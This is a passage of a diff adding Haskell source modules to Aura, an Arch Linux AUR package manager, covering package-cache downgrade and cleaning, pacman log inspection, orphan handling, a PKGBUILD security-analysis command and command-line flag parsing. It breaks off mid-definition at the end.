@@ -0,0 +1,168 @@+{-# LANGUAGE BangPatterns       #-}+{-# LANGUAGE NumericUnderscores #-}+{-# LANGUAGE TypeApplications   #-}++-- |+-- Module    : Aura.Commands.C+-- Copyright : (c) Colin Woodbury, 2012 - 2020+-- License   : GPL3+-- Maintainer: Colin Woodbury <colin@fosskers.ca>+--+-- Handle all @-C@ flags - those which involve the package cache.++module Aura.Commands.C+  ( downgradePackages+  , searchCache+  , backupCache+  , cleanCache+  , cleanNotSaved+  ) where++import           Aura.Cache+import           Aura.Colour (red)+import           Aura.Core+import           Aura.IO+import           Aura.Languages+import           Aura.Pacman (pacman)+import           Aura.Settings+import           Aura.Shell+import           Aura.State+import           Aura.Types+import           Aura.Utils (nes)+import           RIO+import           RIO.Directory+import qualified RIO.List as L+import qualified RIO.Map as M+import qualified RIO.NonEmpty as NEL+import qualified RIO.Set as S+import qualified RIO.Text as T++---++-- | Interactive. Gives the user a choice as to exactly what versions+-- they want to downgrade to.+downgradePackages :: NonEmpty PkgName -> RIO Env ()+downgradePackages pkgs = do+  ss <- asks settings+  let cachePath = either id id . cachePathOf $ commonConfigOf ss+  reals <- liftIO $ pkgsInCache ss pkgsSet+  traverse_ (report red reportBadDowngradePkgs_1) . nes $ pkgsSet S.\\ reals+  unless (null reals) $ do+    cache   <- liftIO $ cacheContents cachePath+    choices <- traverse (getDowngradeChoice cache) $ toList reals+    liftIO . pacman $ "-U" : asFlag (commonConfigOf ss) <> map (T.pack . ppPath) choices+  where+    pkgsSet :: Set PkgName+    pkgsSet = S.fromList $ NEL.toList pkgs++-- | For a given package, get a choice from the user about which version of it to+-- downgrade to.+getDowngradeChoice :: Cache -> PkgName -> RIO Env PackagePath+getDowngradeChoice cache pkg =+  case NEL.nonEmpty $ getChoicesFromCache cache pkg of+    Nothing      -> throwM . Failure $ reportBadDowngradePkgs_2 pkg+    Just choices -> do+      ss <- asks settings+      notify ss $ getDowngradeChoice_1 pkg+      liftIO $ getSelection (T.pack . ppPath) choices++getChoicesFromCache :: Cache -> PkgName -> [PackagePath]+getChoicesFromCache (Cache cache) p = L.sort . M.elems $ M.filterWithKey (\(SimplePkg pn _) _ -> p == pn) cache++-- | Print all package filenames that match a given `Text`.+searchCache :: Text -> RIO Env ()+searchCache ps = do+  ss <- asks settings+  matches <- liftIO $ cacheMatches ss ps+  traverse_ (putTextLn . T.pack . ppPath) $ L.sort matches++-- | The destination folder must already exist for the back-up to begin.+backupCache :: FilePath -> RIO Env ()+backupCache dir = do+  exists <- liftIO $ doesDirectoryExist dir+  if not exists+    then throwM $ Failure backupCache_3+    else confirmBackup dir >>= backup dir++confirmBackup :: FilePath -> RIO Env Cache+confirmBackup dir = do+  ss    <- asks settings+  cache <- liftIO . cacheContents . either id id . cachePathOf $ commonConfigOf ss+  notify ss $ backupCache_4 dir+  notify ss $ backupCache_5 (M.size $ _cache cache)+  withOkay ss backupCache_6 backupCache_7 $ pure cache++backup :: FilePath -> Cache -> RIO Env ()+backup dir (Cache cache) = do+  ss <- asks settings+  notify ss backupCache_8+  putTextLn ""  -- So that the cursor can rise at first.+  copyAndNotify dir (M.elems cache) 1++-- | Manages the file copying and display of the real-time progress notifier.+copyAndNotify :: FilePath -> [PackagePath] -> Int -> RIO Env ()+copyAndNotify _ [] _ = pure ()+copyAndNotify dir (p : ps) n = do+  ss <- asks settings+  liftIO $ raiseCursorBy 1+  warn ss $ copyAndNotify_1 n+  liftIO $ copyFile (ppPath p) dir+  copyAndNotify dir ps $ n + 1++-- | Keeps a certain number of package files in the cache according to+-- a number provided by the user. The rest are deleted.+cleanCache :: Word -> RIO Env ()+cleanCache toSave+  | toSave == 0 = do+      ss <- asks settings+      warn ss cleanCache_2+      liftIO $ pacman ["-Scc"]+  | otherwise = do+      ss <- asks settings+      let cachePath = either id id . cachePathOf $ commonConfigOf ss+      -- Measuring the cache size before removal --+      beforeCache@(Cache c) <- liftIO $ cacheContents cachePath+      beforeBytes <- liftIO $ cacheSize beforeCache+      notify ss $ cleanCache_7 (fromIntegral $ M.size c) beforeBytes+      -- Proceed with user confirmation --+      warn ss $ cleanCache_3 toSave+      withOkay ss cleanCache_4 cleanCache_5 $ do+        clean toSave beforeCache+        afterCache <- liftIO $ cacheContents cachePath+        afterBytes <- liftIO $ cacheSize afterCache+        notify ss $ cleanCache_8 (beforeBytes - afterBytes)++-- | How big, in megabytes, are all the files in the cache?+cacheSize :: Cache -> IO Word+cacheSize (Cache cache) = do+  bytes <- foldl' (+) 0 <$> traverse (getFileSize . ppPath) (M.elems cache)+  pure . floor @Double $ fromIntegral bytes / 1_048_576  -- 1024 * 1024++clean :: Word -> Cache -> RIO Env ()+clean toSave (Cache cache) = do+  ss <- asks settings+  notify ss cleanCache_6+  let !files    = M.elems cache+      grouped   = take (fromIntegral toSave) . reverse <$> groupByName files+      toRemove  = files L.\\ fold grouped+  liftIO $ traverse_ (removeFile . ppPath) toRemove++-- | Only package files with a version not in any PkgState will be+-- removed.+cleanNotSaved :: RIO Env ()+cleanNotSaved = do+  ss <- asks settings+  notify ss cleanNotSaved_1+  sfs <- liftIO getStateFiles+  states <- fmap catMaybes . liftIO $ traverse readState sfs+  let cachePath = either id id . cachePathOf $ commonConfigOf ss+  (Cache cache)  <- liftIO $ cacheContents cachePath+  let duds = M.filterWithKey (\p _ -> any (inState p) states) cache+  prop <- liftIO . optionalPrompt ss $ cleanNotSaved_2 $ M.size duds+  when prop . liftIO . traverse_ (removeFile . ppPath) $ M.elems duds++-- | Typically takes the contents of the package cache as an argument.+groupByName :: [PackagePath] -> [[PackagePath]]+groupByName pkgs = L.groupBy sameBaseName $ L.sort pkgs+    where sameBaseName a b = baseName a == baseName b+          baseName p = spName <$> simplepkg p
+ exec/Aura/Commands/L.hs view
@@ -0,0 +1,78 @@+-- |+-- Module    : Aura.Commands.L+-- Copyright : (c) Colin Woodbury, 2012 - 2020+-- License   : GPL3+-- Maintainer: Colin Woodbury <colin@fosskers.ca>+--+-- Handle all @-L@ flags - those which involve the pacman log file.++module Aura.Commands.L+  ( viewLogFile+  , searchLogFile+  , logInfoOnPkg+  ) where++import           Aura.Colour (dtot, red)+import           Aura.Core (Env(..), report)+import           Aura.IO+import           Aura.Languages+import           Aura.Settings+import           Aura.Types (PkgName(..))+import           Aura.Utils+import           Data.Text.Prettyprint.Doc+import           RIO+import qualified RIO.NonEmpty as NEL+import qualified RIO.Text as T+import qualified RIO.Text.Partial as T+import           System.Process.Typed (proc, runProcess)++---++-- | The contents of the Pacman log file.+newtype Log = Log [Text]++data LogEntry = LogEntry+  { name         :: PkgName+  , firstInstall :: Text+  , upgrades     :: Word+  , recent       :: [Text] }++-- | Pipes the pacman log file through a @less@ session.+viewLogFile :: RIO Env ()+viewLogFile = do+  pth <- asks (either id id . logPathOf . commonConfigOf . settings)+  void . runProcess $ proc "less" [pth]++-- | Print all lines in the log file which contain a given `Text`.+searchLogFile :: Settings -> Text -> IO ()+searchLogFile ss input = do+  let pth = either id id . logPathOf $ commonConfigOf ss+  logFile <- T.lines . decodeUtf8Lenient <$> readFileBinary pth+  traverse_ putTextLn $ searchLines input logFile++-- | The result of @-Li@.+logInfoOnPkg :: NonEmpty PkgName -> RIO Env ()+logInfoOnPkg pkgs = do+  ss <- asks settings+  let pth = either id id . logPathOf $ commonConfigOf ss+  logFile <- Log . T.lines . decodeUtf8Lenient <$> readFileBinary pth+  let (bads, goods) = fmapEither (logLookup logFile) $ toList pkgs+  traverse_ (report red reportNotInLog_1) $ NEL.nonEmpty bads+  traverse_ (putTextLn . renderEntry ss) goods++logLookup :: Log -> PkgName -> Either PkgName LogEntry+logLookup (Log lns) p = case matches of+  []    -> Left p+  (h:t) -> Right $+    LogEntry { name = p+             , firstInstall = T.take 16 $ T.tail h+             , upgrades = fromIntegral . length $ filter (T.isInfixOf " upgraded ") t+             , recent = reverse . take 5 $ reverse t }+  where matches = filter (T.isInfixOf (" " <> pnName p <> " (")) lns++renderEntry :: Settings -> LogEntry -> Text+renderEntry ss (LogEntry (PkgName pn) fi us rs) =+  dtot . colourCheck ss $ entrify ss fields entries <> hardline <> recents <> hardline+  where fields  = logLookUpFields $ langOf ss+        entries = map pretty [ pn, fi, T.pack (show us), "" ]+        recents = vsep $ map pretty rs
+ exec/Aura/Commands/O.hs view
@@ -0,0 +1,25 @@+-- |+-- Module    : Aura.Commands.O+-- Copyright : (c) Colin Woodbury, 2012 - 2020+-- License   : GPL3+-- Maintainer: Colin Woodbury <colin@fosskers.ca>+--+-- Handle all @-O@ flags - those which involve orphan packages.++module Aura.Commands.O ( displayOrphans, adoptPkg ) where++import Aura.Core (Env(..), orphans, sudo)+import Aura.IO (putTextLn)+import Aura.Pacman (pacman)+import Aura.Types+import RIO++---++-- | Print the result of @pacman -Qqdt@+displayOrphans :: IO ()+displayOrphans = orphans >>= traverse_ (putTextLn . pnName)++-- | Identical to @-D --asexplicit@.+adoptPkg :: NonEmpty PkgName -> RIO Env ()+adoptPkg pkgs = sudo . liftIO . pacman $ ["-D", "--asexplicit"] <> asFlag pkgs
+ exec/Aura/Commands/P.hs view
@@ -0,0 +1,71 @@+{-# LANGUAGE BangPatterns #-}+{-# LANGUAGE LambdaCase   #-}++-- |+-- Module    : Aura.Commands.P+-- Copyright : (c) Colin Woodbury, 2012 - 2020+-- License   : GPL3+-- Maintainer: Colin Woodbury <colin@fosskers.ca>+--+--+-- Handles @-P@ flags for analysing PKGBUILDs.++module Aura.Commands.P+  ( exploitsFromFile+  , exploitsFromStdin+  , audit+  ) where++import           Aura.Core+import           Aura.Languages+import           Aura.Pkgbuild.Fetch+import           Aura.Pkgbuild.Security+import           Aura.Security+import           Aura.Settings+import           Aura.Types+import           Control.Scheduler (Comp(..), traverseConcurrently)+import           RIO+import           RIO.ByteString (getContents)+import qualified RIO.Set as S++---++-- | Given a specific file path, print out any potential PKGBUILD exploits and+-- exit the program aggressively to force a naughty exit code.+exploitsFromFile :: FilePath -> RIO Env ()+exploitsFromFile = readFileBinary >=> findExploits . Pkgbuild++exploitsFromStdin :: RIO Env ()+exploitsFromStdin = getContents >>= findExploits . Pkgbuild++-- | Analyse all locally installed AUR packages.+audit :: RIO Env ()+audit = do+  ss <- asks settings+  let !m = managerOf ss+  ps <- liftIO foreignPackages+  warn ss . security_13 . fromIntegral $ S.size ps+  pbs <- catMaybes <$> liftIO (traverseConcurrently Par' (getPkgbuild m . spName) $ S.toList ps)+  mapMaybeA f pbs >>= \case+    [] -> notify ss security_14+    _  -> throwM $ Failure security_12+  where+    f :: Pkgbuild -> RIO Env (Maybe Pkgbuild)+    f pb = case parsedPB pb of+      Nothing -> pure Nothing+      Just l -> case bannedTerms l of+        [] -> pure Nothing+        bts -> do+          ss <- asks settings+          liftIO $ traverse_ (displayBannedTerms ss) bts+          pure $ Just pb++findExploits :: Pkgbuild -> RIO Env ()+findExploits pb = case parsedPB pb of+  Nothing -> throwM $ Failure security_11+  Just l  -> case bannedTerms l of+    []  -> pure ()+    bts -> do+      ss <- asks settings+      liftIO $ traverse_ (displayBannedTerms ss) bts+      throwM $ Failure security_12
+ exec/Aura/Flags.hs view
@@ -0,0 +1,590 @@+module Aura.Flags+  ( Program(..), opts+  , PacmanOp( Sync ), SyncOp( SyncUpgrade ), SyncSwitch(..), MiscOp+  , AuraOp(..), AurSwitch(..), _AurSync, _AurIgnore, _AurIgnoreGroup+  , AurOp(..), BackupOp(..), CacheOp(..), LogOp(..), OrphanOp(..), AnalysisOp(..)+  ) where++import           Aura.Cache (defaultPackageCache)+import           Aura.Pacman (defaultLogFile, pacmanConfFile)+import           Aura.Settings+import           Aura.Types+import           Lens.Micro (Traversal')+import           Options.Applicative+import           RIO hiding (exp, log)+import           RIO.FilePath+import           RIO.List.Partial (foldr1)+import qualified RIO.NonEmpty as NEL+import qualified RIO.NonEmpty.Partial as NELP+import qualified RIO.Set as S+import qualified RIO.Text as T++---++-- | A description of a run of Aura to attempt.+data Program = Program {+  _operation   :: Either (PacmanOp, Set MiscOp) AuraOp+  -- ^ Whether Aura handles everything, or the ops and input are just passed down to Pacman.+  , _commons   :: CommonConfig+  -- ^ Settings common to both Aura and Pacman.+  , _buildConf :: BuildConfig+  -- ^ Settings specific to building packages.+  , _language  :: Maybe Language+  -- ^ The human language of text output.+  , _logLevel  :: LogLevel+  -- ^ The default RIO logging level.+  } deriving (Show)++-- | Inherited operations that are fed down to Pacman.+data PacmanOp+  = Database (Either DatabaseOp (NonEmpty PkgName))+  | Files    (Set FilesOp)+  | Query    (Either QueryOp (Set QueryFilter, Set PkgName))+  | Remove   (Set RemoveOp) (NonEmpty PkgName)+  | Sync     (Either (NonEmpty SyncOp) (Set PkgName)) (Set SyncSwitch)+  | TestDeps (NonEmpty Text)+  | Upgrade  (Set UpgradeSwitch) (NonEmpty PkgName)+  deriving (Show)++instance Flagable PacmanOp where+  asFlag (Database (Left o))      = "-D" : asFlag o+  asFlag (Database (Right fs))    = "-D" : asFlag fs+  asFlag (Files os)               = "-F" : asFlag os+  asFlag (Query (Left o))         = "-Q" : asFlag o+  asFlag (Query (Right (fs, ps))) = "-Q" : asFlag ps ++ asFlag fs+  asFlag (Remove os ps)           = "-R" : asFlag os ++ asFlag ps+  asFlag (Sync (Left o) ss)       = "-S" : asFlag ss ++ asFlag o+  asFlag (Sync (Right ps) ss)     = "-S" : asFlag ss ++ asFlag ps+  asFlag (TestDeps ps)            = "-T" : asFlag ps+  asFlag (Upgrade s ps)           = "-U" : asFlag s ++ asFlag ps++data DatabaseOp+  = DBCheck+  | DBAsDeps     (NonEmpty Text)+  | DBAsExplicit (NonEmpty Text)+  deriving (Show)++instance Flagable DatabaseOp where+  asFlag DBCheck           = ["--check"]+  asFlag (DBAsDeps ps)     = "--asdeps" : asFlag ps+  asFlag (DBAsExplicit ps) = "--asexplicit" : asFlag ps++data FilesOp+  = FilesList  (NonEmpty Text)+  | FilesOwns   Text+  | FilesSearch Text+  | FilesRegex+  | FilesRefresh+  | FilesMachineReadable+  deriving (Eq, Ord, Show)++instance Flagable FilesOp where+  asFlag (FilesList fs)       = "--list" : asFlag fs+  asFlag (FilesOwns f)        = ["--owns", f]+  asFlag (FilesSearch f)      = ["--search", f]+  asFlag FilesRegex           = ["--regex"]+  asFlag FilesRefresh         = ["--refresh"]+  asFlag FilesMachineReadable = ["--machinereadable"]++data QueryOp+  = QueryChangelog (NonEmpty Text)+  | QueryGroups    (NonEmpty Text)+  | QueryInfo      (NonEmpty Text)+  | QueryCheck     (NonEmpty Text)+  | QueryList      (NonEmpty Text)+  | QueryOwns      (NonEmpty Text)+  | QueryFile      (NonEmpty Text)+  | QuerySearch     Text+  deriving (Show)++instance Flagable QueryOp where+  asFlag (QueryChangelog ps) = "--changelog" : asFlag ps+  asFlag (QueryGroups ps)    = "--groups" : asFlag ps+  asFlag (QueryInfo ps)      = "--info" : asFlag ps+  asFlag (QueryCheck ps)     = "--check" : asFlag ps+  asFlag (QueryList ps)      = "--list" : asFlag ps+  asFlag (QueryOwns ps)      = "--owns" : asFlag ps+  asFlag (QueryFile ps)      = "--file" : asFlag ps+  asFlag (QuerySearch t)     = ["--search", t]++data QueryFilter+  = QueryDeps+  | QueryExplicit+  | QueryForeign+  | QueryNative+  | QueryUnrequired+  | QueryUpgrades+  deriving (Eq, Ord, Show)++instance Flagable QueryFilter where+  asFlag QueryDeps       = ["--deps"]+  asFlag QueryExplicit   = ["--explicit"]+  asFlag QueryForeign    = ["--foreign"]+  asFlag QueryNative     = ["--native"]+  asFlag QueryUnrequired = ["--unrequired"]+  asFlag QueryUpgrades   = ["--upgrades"]++data RemoveOp+  = RemoveCascade+  | RemoveNoSave+  | RemoveRecursive+  | RemoveUnneeded+  deriving (Eq, Ord, Show)++instance Flagable RemoveOp where+  asFlag RemoveCascade   = ["--cascade"]+  asFlag RemoveNoSave    = ["--nosave"]+  asFlag RemoveRecursive = ["--recursive"]+  asFlag RemoveUnneeded  = ["--unneeded"]++data SyncOp+  = SyncClean+  | SyncGroups   (NonEmpty Text)+  | SyncInfo     (NonEmpty Text)+  | SyncList      Text+  | SyncSearch   (NonEmpty Text)+  | SyncUpgrade  (Set Text)+  | SyncDownload (NonEmpty Text)+  deriving (Eq, Ord, Show)++instance Flagable SyncOp where+  asFlag SyncClean         = ["--clean"]+  asFlag (SyncGroups gs)   = "--groups" : asFlag gs+  asFlag (SyncInfo ps)     = "--info" : asFlag ps+  asFlag (SyncList r)      = ["--list", r]+  asFlag (SyncSearch s)    = "--search" : asFlag s+  asFlag (SyncUpgrade ps)  = "--sysupgrade" : asFlag ps+  asFlag (SyncDownload ps) = "--downloadonly" : asFlag ps++data SyncSwitch+  = SyncRefresh+  | SyncIgnore      (Set PkgName)+  | SyncIgnoreGroup (Set PkgGroup)+  | SyncOverwrite   Text+  deriving (Eq, Ord, Show)++instance Flagable SyncSwitch where+  asFlag SyncRefresh          = ["--refresh"]+  asFlag (SyncIgnore ps)      = ["--ignore", T.intercalate "," $ asFlag ps ]+  asFlag (SyncIgnoreGroup gs) = ["--ignoregroup" , T.intercalate "," $ asFlag gs ]+  asFlag (SyncOverwrite glob) = "--overwrite" : asFlag glob++data UpgradeSwitch+  = UpgradeAsDeps+  | UpgradeAsExplicit+  | UpgradeIgnore      (Set PkgName)+  | UpgradeIgnoreGroup (Set PkgGroup)+  | UpgradeOverwrite   Text+  deriving (Eq, Ord, Show)++instance Flagable UpgradeSwitch where+  asFlag UpgradeAsDeps           = ["--asdeps"]+  asFlag UpgradeAsExplicit       = ["--asexplicit"]+  asFlag (UpgradeIgnore ps)      = ["--ignore", T.intercalate "," $ asFlag ps ]+  asFlag (UpgradeIgnoreGroup gs) = ["--ignoregroup", T.intercalate "," $ asFlag gs ]+  asFlag (UpgradeOverwrite glob) = "--overwrite" : asFlag glob++-- | Flags common to several Pacman operations.+data MiscOp+  = MiscArch    FilePath+  | MiscAssumeInstalled Text+  | MiscColor   Text+  | MiscConfirm+  | MiscDBOnly+  | MiscDBPath  FilePath+  | MiscGpgDir  FilePath+  | MiscHookDir FilePath+  | MiscNoDeps+  | MiscNoProgress+  | MiscNoScriptlet+  | MiscPrint+  | MiscPrintFormat Text+  | MiscRoot    FilePath+  | MiscVerbose+  deriving (Eq, Ord, Show)++instance Flagable MiscOp where+  asFlag (MiscArch p)            = ["--arch", T.pack p]+  asFlag (MiscAssumeInstalled p) = ["--assume-installed", p]+  asFlag (MiscColor c)           = ["--color", c]+  asFlag (MiscDBPath p)          = ["--dbpath", T.pack p]+  asFlag (MiscGpgDir p)          = ["--gpgdir", T.pack p]+  asFlag (MiscHookDir p)         = ["--hookdir", T.pack p]+  asFlag (MiscPrintFormat s)     = ["--print-format", s]+  asFlag (MiscRoot p)            = ["--root", T.pack p]+  asFlag MiscConfirm             = ["--confirm"]+  asFlag MiscDBOnly              = ["--dbonly"]+  asFlag MiscNoDeps              = ["--nodeps"]+  asFlag MiscNoProgress          = ["--noprogressbar"]+  asFlag MiscNoScriptlet         = ["--noscriptlet"]+  asFlag MiscPrint               = ["--print"]+  asFlag MiscVerbose             = ["--verbose"]++-- | Operations unique to Aura.+data AuraOp+  = AurSync (Either AurOp (NonEmpty PkgName)) (Set AurSwitch)+  | Backup  (Maybe  BackupOp)+  | Cache   (Either CacheOp (NonEmpty PkgName))+  | Log     (Maybe  LogOp)+  | Orphans (Maybe  OrphanOp)+  | Analysis (Maybe AnalysisOp)+  | Version+  | Languages+  | ViewConf+  deriving (Show)++_AurSync :: Traversal' AuraOp (Set AurSwitch)+_AurSync f (AurSync o s) = AurSync o <$> f s+_AurSync _ x             = pure x++data AurOp+  = AurDeps     (NonEmpty PkgName)+  | AurInfo     (NonEmpty PkgName)+  | AurPkgbuild (NonEmpty PkgName)+  | AurSearch    Text+  | AurUpgrade  (Set PkgName)+  | AurJson     (NonEmpty PkgName)+  | AurTarball  (NonEmpty PkgName)+  deriving (Show)++data AurSwitch+  = AurIgnore      (Set PkgName)+  | AurIgnoreGroup (Set PkgGroup)+  | AurRepoSync+  deriving (Eq, Ord, Show)++_AurIgnore :: Traversal' AurSwitch (Set PkgName)+_AurIgnore f (AurIgnore s) = AurIgnore <$> f s+_AurIgnore _ x             = pure x++_AurIgnoreGroup :: Traversal' AurSwitch (Set PkgGroup)+_AurIgnoreGroup f (AurIgnoreGroup s) = AurIgnoreGroup <$> f s+_AurIgnoreGroup _ x                  = pure x++data BackupOp+  = BackupClean Word+  | BackupRestore+  | BackupList deriving (Show)++data CacheOp+  = CacheBackup FilePath+  | CacheClean Word+  | CacheCleanNotSaved+  | CacheSearch Text+  deriving (Show)++data LogOp+  = LogInfo (NonEmpty PkgName)+  | LogSearch Text+  deriving (Show)++data OrphanOp+  = OrphanAbandon+  | OrphanAdopt (NonEmpty PkgName)+  deriving (Show)++data AnalysisOp+  = AnalysisFile FilePath+  | AnalysisDir FilePath+  | AnalysisAudit+  deriving (Show)++opts :: ParserInfo Program+opts = info (program <**> helper)+  (fullDesc <> header "Aura - Package manager for Arch Linux and the AUR.")++program :: Parser Program+program = Program+  <$> (fmap Right aurOps <|> (curry Left <$> pacOps <*> misc))+  <*> commonConfig+  <*> buildConfig+  <*> optional language+  <*> logLevel+  where+    aurOps = aursync <|> backups <|> cache <|> log <|> orphans <|> analysis <|> version' <|> languages <|> viewconf+    pacOps = database <|> files <|> queries <|> remove <|> sync <|> testdeps <|> upgrades++aursync :: Parser AuraOp+aursync = bigA *>+  (AurSync+   <$> (fmap (Right . NEL.map (PkgName . T.toLower)) someArgs <|> fmap Left mods)+   <*> (S.fromList <$> many switches)+  )+  where bigA    = flag' () (long "aursync" <> short 'A' <> help "Install packages from the AUR.")+        mods    = ds <|> ainfo <|> pkgb <|> search <|> upgrade <|> aur <|> tarball+        ds      = AurDeps <$> (flag' () (long "deps" <> short 'd' <> hidden <> help "View dependencies of an AUR package.") *> somePkgs')+        ainfo   = AurInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View AUR package information.") *> somePkgs')+        pkgb    = AurPkgbuild <$> (flag' () (long "pkgbuild" <> short 'p' <> hidden <> help "View an AUR package's PKGBUILD file.") *> somePkgs')+        search  = AurSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> hidden <> help "Search the AUR via a search string.")+        upgrade = AurUpgrade <$> (flag' () (long "sysupgrade" <> short 'u' <> hidden <> help "Upgrade all installed AUR packages.") *> fmap (S.map PkgName) manyArgs')+        aur     = AurJson <$> (flag' () (long "json" <> hidden <> help "Retrieve package JSON straight from the AUR.") *> somePkgs')+        tarball = AurTarball <$> (flag' () (long "downloadonly" <> short 'w' <> hidden <> help "Download a package tarball.") *> somePkgs')+        switches = ign <|> igg <|> y+        ign  = AurIgnore . S.fromList . map PkgName . T.split (== ',')+          <$> strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.")+        igg  = AurIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',')+          <$> strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.")+        y    = flag' AurRepoSync (short 'y' <> hidden <> help "Do an -Sy before continuing.")++backups :: Parser AuraOp+backups = bigB *> (Backup <$> optional mods)+  where bigB = flag' () (long "save" <> short 'B' <> help "Save a package state.")+        mods = clean <|> restore <|> lst+        clean = BackupClean <$> option auto (long "clean" <> short 'c' <> metavar "N" <> hidden <> help "Keep the most recent N states, delete the rest.")+        restore = flag' BackupRestore (long "restore" <> short 'r' <> hidden <> help "Restore a previous package state.")+        lst = flag' BackupList (long "list" <> short 'l' <> hidden <> help "Show all saved package state filenames.")++cache :: Parser AuraOp+cache = bigC *> (Cache <$> (fmap Left mods <|> fmap Right somePkgs))+  where bigC = flag' () (long "downgrade" <> short 'C' <> help "Interact with the package cache.")+        mods = backup <|> clean <|> clean' <|> search+        backup = CacheBackup <$> option (eitherReader absFilePath) (long "backup" <> short 'b' <> metavar "PATH" <> help "Backup the package cache to a given directory." <> hidden)+        clean  = CacheClean  <$> option auto (long "clean" <> short 'c' <> metavar "N" <> help "Save the most recent N versions of a package in the cache, deleting the rest." <> hidden)+        clean' = flag' CacheCleanNotSaved (long "notsaved" <> help "Clean out any cached package files which doesn't appear in any saved state." <> hidden)+        search = CacheSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> help "Search the package cache via a search string." <> hidden)++log :: Parser AuraOp+log = bigL *> (Log <$> optional mods)+  where bigL = flag' () (long "viewlog" <> short 'L' <> help "View the Pacman log.")+        mods = inf <|> sch+        inf  = LogInfo <$> (flag' () (long "info" <> short 'i' <> help "Display the installation history for given packages." <> hidden) *> somePkgs')+        sch  = LogSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> help "Search the Pacman log via a search string." <> hidden)++orphans :: Parser AuraOp+orphans = bigO *> (Orphans <$> optional mods)+  where bigO    = flag' () (long "orphans" <> short 'O' <> help "Display all orphan packages.")+        mods    = abandon <|> adopt+        abandon = flag' OrphanAbandon (long "abandon" <> short 'j' <> hidden <> help "Uninstall all orphan packages.")+        adopt   = OrphanAdopt <$> (flag' () (long "adopt" <> short 'a' <> hidden <> help "Mark some packages' install reason as 'Explicit'.") *> somePkgs')++analysis :: Parser AuraOp+analysis = bigP *> (Analysis <$> optional mods)+  where+    bigP = flag' () (long "analysis" <> short 'P' <> help "Analyse PKGBUILDs for malicious bash code.")+    mods = file <|> dir <|> audit+    file = AnalysisFile <$> strOption (long "file" <> short 'f' <> metavar "PATH" <> hidden <> help "Path to a PKGBUILD file.")+    dir = AnalysisDir <$> strOption (long "dir" <> short 'd' <> metavar "PATH" <> hidden <> help "Path to a directory containing a PKGBUILD file.")+    audit = flag' AnalysisAudit (long "audit" <> short 'a' <> hidden <> help "Analyse PKGBUILDs of installed AUR packages.")++version' :: Parser AuraOp+version' = flag' Version (long "version" <> short 'V' <> help "Display Aura's version.")++languages :: Parser AuraOp+languages = flag' Languages (long "languages" <> help "Show all human languages available for output.")++viewconf :: Parser AuraOp+viewconf = flag' ViewConf (long "viewconf" <> help "View the Pacman config file.")++buildConfig :: Parser BuildConfig+buildConfig = BuildConfig <$> makepkg <*> bp <*> bu <*> asp <*> vp <*> trunc <*> buildSwitches+  where makepkg = S.fromList <$> many (ia <|> as <|> si)+        ia      = flag' IgnoreArch (long "ignorearch" <> hidden <> help "Exposed makepkg flag.")+        as      = flag' AllSource (long "allsource" <> hidden <> help "Exposed makepkg flag.")+        si      = flag' SkipInteg (long "skipinteg" <> hidden <> help "Skip all makepkg integrity checks.")+        bp      = optional $ option (eitherReader absFilePath) (long "build" <> metavar "PATH" <> hidden <> help "Directory in which to build packages.")+        bu      = optional $ User <$> strOption (long "builduser" <> metavar "USER" <> hidden <> help "User account to build as.")+        asp     = optional $ option (eitherReader absFilePath) (long "allsourcepath" <> metavar "PATH" <> hidden <> help "Directory in which to store the output of --allsource.")+        vp      = optional $ option (eitherReader absFilePath) (long "vcspath" <> metavar "PATH" <> hidden <> help "Directory in which to build and store VCS packages.")+        trunc   = fmap Head (option auto (long "head" <> metavar "N" <> hidden <> help "Only show top N search results."))+          <|> fmap Tail (option auto (long "tail" <> metavar "N" <> hidden <> help "Only show last N search results."))+          <|> pure None++buildSwitches :: Parser (Set BuildSwitch)+buildSwitches = S.fromList <$> many (lv <|> dmd <|> dsm <|> dpb <|> rbd <|> he <|> dr <|> sa <|> fo <|> npc <|> asd)+  where dmd = flag' DeleteMakeDeps (long "delmakedeps" <> short 'a' <> hidden <> help "Uninstall makedeps after building.")+        dsm = flag' DontSuppressMakepkg (long "unsuppress" <> short 'x' <> hidden <> help "Unsuppress makepkg output.")+        dpb = flag' DiffPkgbuilds (long "diff" <> short 'k' <> hidden <> help "Show PKGBUILD diffs.")+        rbd = flag' RebuildDevel (long "devel" <> hidden <> help "Rebuild all git/hg/svn/darcs-based packages.")+        he  = flag' HotEdit (long "hotedit" <> hidden <> help "Edit a PKGBUILD before building.")+        dr  = flag' DryRun (long "dryrun" <> hidden <> help "Run dependency checks and PKGBUILD diffs, but don't build.")+        sa  = flag' SortAlphabetically (long "abc" <> hidden <> help "Sort search results alphabetically.")+        lv  = flag' LowVerbosity (long "quiet" <> short 'q' <> hidden <> help "Display less information.")+        fo  = flag' ForceBuilding (long "force" <> hidden <> help "Always (re)build specified packages.")+        npc = flag' NoPkgbuildCheck (long "noanalysis" <> hidden <> help "Do not analyse PKGBUILDs for security flaws.")+        asd = flag' AsDeps (long "asdeps" <> hidden <> help "All installed packages will be marked as dependencies.")++commonConfig :: Parser CommonConfig+commonConfig = CommonConfig <$> cap <*> cop <*> lfp <*> commonSwitches+  where cap = fmap Right+                   (option (eitherReader absFilePath) (long "cachedir" <> hidden <> help "Use an alternate package cache location."))+              <|> pure (Left defaultPackageCache)+        cop = fmap Right+                   (option (eitherReader absFilePath) (long "config"   <> hidden <> help "Use an alternate Pacman config file."))+              <|> pure (Left pacmanConfFile)+        lfp = fmap Right+                   (option (eitherReader absFilePath) (long "logfile"  <> hidden <> help "Use an alternate Pacman log."))+              <|> pure (Left defaultLogFile)++commonSwitches :: Parser (Set CommonSwitch)+commonSwitches = S.fromList <$> many (nc <|> no <|> dbg <|> clr <|> ovr)+  where nc  = flag' NoConfirm  (long "noconfirm" <> hidden <> help "Never ask for Aura or Pacman confirmation.")+        no  = flag' NeededOnly (long "needed"    <> hidden <> help "Don't rebuild/reinstall up-to-date packages.")+        dbg = flag' Debug      (long "debug"     <> hidden <> help "Print useful debugging info.")+        ovr = Overwrite <$> strOption (long "overwrite" <> hidden <> help "Bypass file conflict checks." <> metavar "GLOB")+        clr = Colour . f <$> strOption (long "color" <> metavar "WHEN" <> hidden <> help "Colourize the output.")+        f :: String -> 